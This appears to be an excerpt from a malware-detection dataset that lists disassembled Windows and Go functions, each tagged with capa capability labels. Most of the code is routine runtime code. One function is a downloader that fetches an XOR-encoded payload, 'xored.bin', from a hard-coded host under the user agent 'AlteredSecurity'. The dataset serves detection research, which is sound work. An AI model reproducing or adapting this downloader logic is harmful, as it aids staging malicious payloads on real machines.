joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47fc00
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movd xmm0, dword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movdqu xmm1, xmmword [rsi]
movdqu xmm2, xmmword [rsi + 0x10]
movdqu xmm3, xmmword [rsi + 0x20]
movdqu xmm4, xmmword [rsi + 0x30]
pxor xmm1, xmm0
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jb 0x47fcd5
movdqa xmm0, xmmword [0x0051b320]
movdqa xmm5, xmm1
movdqa xmm6, xmm2
movdqa xmm7, xmm3
movdqa xmm8, xmm4
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm2, xmm0, 0
pclmulqdq xmm3, xmm0, 0
pclmulqdq xmm4, xmm0, 0
movdqu xmm11, xmmword [rsi]
movdqu xmm12, xmmword [rsi + 0x10]
movdqu xmm13, xmmword [rsi + 0x20]
movdqu xmm14, xmmword [rsi + 0x30]
pclmulqdq xmm5, xmm0, 0x11
pclmulqdq xmm6, xmm0, 0x11
pclmulqdq xmm7, xmm0, 0x11
pclmulqdq xmm8, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
pxor xmm1, xmm11
pxor xmm2, xmm12
pxor xmm3, xmm13
pxor xmm4, xmm14
add rdi, 0x40
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jge 0x47fc41
movdqa xmm0, xmmword [0x0051b330]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm2
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm3
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm4
cmp rcx, 0x10
jb 0x47fd57
movdqu xmm10, xmmword [rsi]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm10
sub rcx, 0x10
add rsi, 0x10
cmp rcx, 0x10
jge 0x47fd2b
pcmpeqb xmm3, xmm3
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm2, xmm1
movq xmm0, qword [0x0051b178]
psrlq xmm3, 0x20
psrldq xmm2, 4
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
movdqa xmm0, xmmword [0x0051b340]
movdqa xmm2, xmm1
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0x10
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
mov dword [rsp + 0x28], eax
ret
Function at 0x481e40
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x481e57
inc rax
cmp rax, 4
jge 0x481e6f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x481e54
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x481e80
inc rax
cmp rax, 4
jge 0x481e8e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x481eb7
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x481e9b
jmp 0x481e7d

Function at 0x485cc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x485d8a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x00620e98]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x485d6f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004d33e0]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x485d5e
mov edi, 1
lea rsi, [0x004d33e0]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x0051bc08]
lea rsi, [0x0051b198]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString
Function at 0x1400010c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
lea rcx, str.AlteredSecurity
mov r13, r8
mov dword [rsp + 0x30], esi
mov r12, rdx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea r14d, [rsi + 1]
mov edi, esi
mov ebx, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x14000111a
mov eax, esi
jmp 0x14000126b
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__192.168.0.121_xored.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov qword [rsp + 0x80], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x14000116f
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x140001263
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x14000122b
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000122b
nop word [rax + rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x1400011c7
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1400011d9
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x14000122b
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
cmp dword [rsp + 0x30], 0x400
jb 0x140001287
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011b0
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x140001260
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001610
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x14000122e
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004430]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004440]
mov dword [rax], 1
mov rax, qword [0x140004450]
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004420]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004380]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001950
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400019c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001af0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400019f0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001b12
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001af7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001a8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001aa0
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001a18
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002080
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400020dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400020d3
test rsi, rsi
je 0x1400020d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400020b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002328
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002330
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000238d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140002384
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000238f
add rax, 0x28
cmp rax, r9
jne 0x140002370
xor eax, eax
ret

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002420
mov rdx, qword [0x1400043d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000240e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000240e
cmp word [rax + 0x18], 0x20b
jne 0x14000240e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002420
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400023f9
add rbx, 0x28
cmp rbx, rdi
je 0x140002420
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400023f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002430
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002450
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002458
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002450
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400024a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002450
add rax, 0x28
cmp rax, r9
jne 0x140002490
xor eax, eax
ret

Function at 0x1400024b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400024f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002510
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002518
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002510
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140002560
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002557
test rcx, rcx
je 0x140002510
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002548
xor eax, eax
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002598
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025d0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x1400025d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140002624
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002630
add rdx, 0x28
cmp r9, rdx
jne 0x140002610
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002662
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002670
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002662
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002662
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140002662
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x1400026c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026d8
add rdx, 0x28
cmp rdx, r10
jne 0x1400026b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400026f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ce
test ecx, ecx
jg 0x1400026e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400058e0
Capabilities:
Get common file path
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov eax, 0x2050
call fcn.14000a140
sub rsp, rax
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rsp + 0x2040], rax
xor edi, edi
mov rbp, rdx
mov r15, rcx
mov esi, edi
test rdx, rdx
je 0x14000596d
lea rcx, [0x14002db64]
call fcn.140005af0
mov rcx, rbp
mov rsi, rax
call fcn.1400055e0
mov r14, rax
test rax, rax
je 0x140005a3f
mov rdx, rax
lea rcx, [0x14002db68]
call fcn.140016cb8
mov rcx, r14
mov ebx, eax
call fcn.1400145d8
test ebx, ebx
je 0x14000596d
lea rcx, str.LOADER:_Failed_to_set_the_TMP_environment_variable._n
call fcn.140001c40
xor eax, eax
jmp 0x140005ac8
lea rdx, [rsp + 0x40]
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
call sub.KERNEL32.dll_GetCurrentProcessId
mov r9d, eax
lea r8, str._MEI_d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140006620
nop dword [rax + rax]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140017970
mov rcx, rax
mov rbx, rax
call fcn.140006a70
test eax, eax
je 0x140005a46
mov rcx, rbx
call fcn.1400145d8
inc edi
cmp edi, 5
jl 0x1400059a0
test rbp, rbp
je 0x140005a3f
xor r8d, r8d
lea rdx, [0x14002db64]
xor ecx, ecx
call fcn.140006dc0
test rsi, rsi
je 0x140005a29
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
mov rdi, rax
call fcn.140006dc0
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140016cb8
mov rcx, rdi
call fcn.1400145d8
mov rcx, rbx
call fcn.1400145d8
mov rcx, rsi
call fcn.1400145d8
xor eax, eax
jmp 0x140005ac8
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, rbx
call fcn.1400145d8
xor eax, eax
jmp 0x140005ac8
mov r8d, 0x1000
mov rdx, rbx
mov rcx, r15
call fcn.140006ed0
mov rcx, rbx
call fcn.1400145d8
test rbp, rbp
je 0x140005ac3
xor r8d, r8d
lea rdx, [0x14002db64]
xor ecx, ecx
call fcn.140006dc0
test rsi, rsi
je 0x140005aad
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
mov rdi, rax
call fcn.140006dc0
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140016cb8
mov rcx, rdi
call fcn.1400145d8
mov rcx, rbx
call fcn.1400145d8
mov rcx, rsi
jmp 0x140005abe
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, rbx
call fcn.1400145d8
mov eax, 1
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.14000a110
mov rbx, qword [rsp + 0x2090]
add rsp, 0x2050
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140017820
Capabilities:
Read file via mapping

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov rbx, r8
mov r15d, edx
mov rsi, rcx
mov rax, qword [0x140054018]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rdi, [rcx + 0x28]
mov rcx, rdi
call fcn.140017700
xor ebp, ebp
cmp rbx, 0x7fffffff
ja 0x140017868
test al, al
je 0x140017868
cmp qword [rsi + 0x58], 0
je 0x140017884
xor ebp, ebp
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140045f60
mov eax, ebp
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
cmp byte [rsi], 0
je 0x14001790d
mov rcx, rdi
call fcn.140017710
mov r14, rax
mov rbp, qword [0x140054c18]
test rbp, rbp
jne 0x1400178cb
lea rcx, [0x14004c3fe]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtQuerySection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
mov qword [0x140054c18], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov rcx, r14
xor edx, edx
mov r9d, 0x18
call rbp
test eax, eax
jne 0x140017866
test dword [rsp + 0x38], 0x1000000
jne 0x140017866
mov r14d, r15d
sar r14d, 0x1f
xor eax, eax
cmp byte [rsi + 0x60], 0
sete al
lea ebp, [rax + rax]
add ebp, 4
mov rcx, rdi
call fcn.140017710
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov edx, ebp
mov r8d, r14d
mov r9d, r15d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsi + 0x58], rax
test rax, rax
jne 0x140017984
xor eax, eax
cmp byte [rsi + 0x60], 0
sete al
lea ebp, [rax + rax]
add ebp, 4
mov rcx, rdi
call fcn.140017710
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov edx, ebp
mov r8d, r14d
mov r9d, r15d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsi + 0x58], rax
test rax, rax
je 0x140017866
mov rbp, rax
lea rdx, [rsp + 0x30]
mov r8d, 0x30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400179a4
xor eax, eax
jmp 0x1400179b1
mov rax, qword [rsp + 0x48]
sub rax, rbp
add rax, qword [rsp + 0x38]
mov qword [rsi + 0x50], rax
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400176a0
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x70], xmm0
call fcn.1400179e0
mov bpl, 1
jmp 0x140017868

Function at 0x140017a40
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp qword [rcx], rdx
je 0x140017ab4
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, rsi
call fcn.140017ad0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x140017aad
mov qword [rsi], rdi
call fcn.140017670
mov rbx, rax
mov r15, qword [rsp + 0x58]
call sym.firefox.exe_GetHandleVerifier
mov rbp, qword [rax]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [rbp + 8]
mov ecx, r14d
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
jp 0x1400a13a6
invalid
cld
invalid
mov ch, byte [rsi]
invalid